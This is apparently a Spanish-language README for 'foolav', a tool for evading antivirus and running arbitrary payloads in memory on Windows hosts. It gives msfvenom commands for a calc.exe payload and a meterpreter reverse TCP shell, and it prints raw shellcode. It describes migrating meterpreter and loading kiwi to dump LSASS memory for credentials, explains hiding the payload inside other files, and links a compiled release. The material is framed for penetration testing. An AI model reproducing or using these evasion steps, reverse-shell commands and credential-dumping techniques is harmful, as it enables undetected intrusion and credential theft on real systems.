
Herramienta de pentest para evasión de antivirus y ejecución de payload arbitrario en un host Wintel objetivo.
El ejecutable compilado con este código es útil durante pruebas de penetración donde se necesita ejecutar algún payload (¿meterpreter quizás?) mientras se está seguro de que no será detectado por el software antivirus. El único requisito es poder cargar dos archivos: ejecutable binario y archivo payload en el mismo directorio.
prepara tu payload (x86), por ejemplo:
calc: msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00\x0a\x0d\xff" -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf (realmente no necesitas usar ningún codificador o lista negra de caracteres, funcionará de todos modos)
meterpreter: msfvenom -p windows/meterpreter_reverse_tcp LHOST=... -a x86 -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf
copia el archivo payload [executable-name-without-exe-extension].mf en el mismo directorio que el ejecutable
payload ejecutando calc.exe generado con el comando anterior:
# calc.exe
\xbb\x28\x30\x85\x5b\xd9\xf7\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x33\x83\xea\xfc\x31\x5a\x0e\x03\x72\x3e\x67\xae\x7e\xd6\xee\x51\x7e\x27\x91\xd8\x9b\x16\x83\xbf\xe8\x0b\x13\xcb\xbc\xa7\xd8\x99\x54\x33\xac\x35\x5b\xf4\x1b\x60\x52\x05\xaa\xac\x38\xc5\xac\x50\x42\x1a\x0f\x68\x8d\x6f\x4e\xad\xf3\x80\x02\x66\x78\x32\xb3\x03\x3c\x8f\xb2\xc3\x4b\xaf\xcc\x66\x8b\x44\x67\x68\xdb\xf5\xfc\x22\xc3\x7e\x5a\x93\xf2\x53\xb8\xef\xbd\xd8\x0b\x9b\x3c\x09\x42\x64\x0f\x75\x09\x5b\xa0\x78\x53\x9b\x06\x63\x26\xd7\x75\x1e\x31\x2c\x04\xc4\xb4\xb1\xae\x8f\x6f\x12\x4f\x43\xe9\xd1\x43\x28\x7d\xbd\x47\xaf\x52\xb5\x73\x24\x55\x1a\xf2\x7e\x72\xbe\x5f\x24\x1b\xe7\x05\x8b\x24\xf7\xe1\x74\x81\x73\x03\x60\xb3\xd9\x49\x77\x31\x64\x34\x77\x49\x67\x16\x10\x78\xec\xf9\x67\x85\x27\xbe\x88\x67\xe2\xca\x20\x3e\x67\x77\x2d\xc1\x5d\xbb\x48\x42\x54\x43\xaf\x5a\x1d\x46\xeb\xdc\xcd\x3a\x64\x89\xf1\xe9\x85\x98\x91\x6c\x16\x40\x78\x0b\x9e\xe3\x84
una vez que se ejecuta el ejecutable, el archivo payload será analizado, cargado en un hilo separado y ejecutado en memoria:

El binario x86 se ejecutará tanto en sistemas Windows x86 como x86_64. Aún así, necesitas usar payloads de arquitectura x86. No obstante, el payload de meterpreter x86 puede migrarse a procesos x86_64. Después de eso, load kiwi cargará la versión x86_64, permitiendo acceder a los jugosos contenidos de la memoria del proceso LSASS :)

El archivo payload .mf puede ser ofuscado - el analizador ignorará todos los caracteres que no sean secuencias hexadecimales \xHH. Esto significa que puede añadir tu payload a casi cualquier archivo, ocultarlo entre líneas o incluso agregar tus propios comentarios, ejemplo:

https://github.com/hvqzao/foolav/releases/download/v1.0/foolav.zip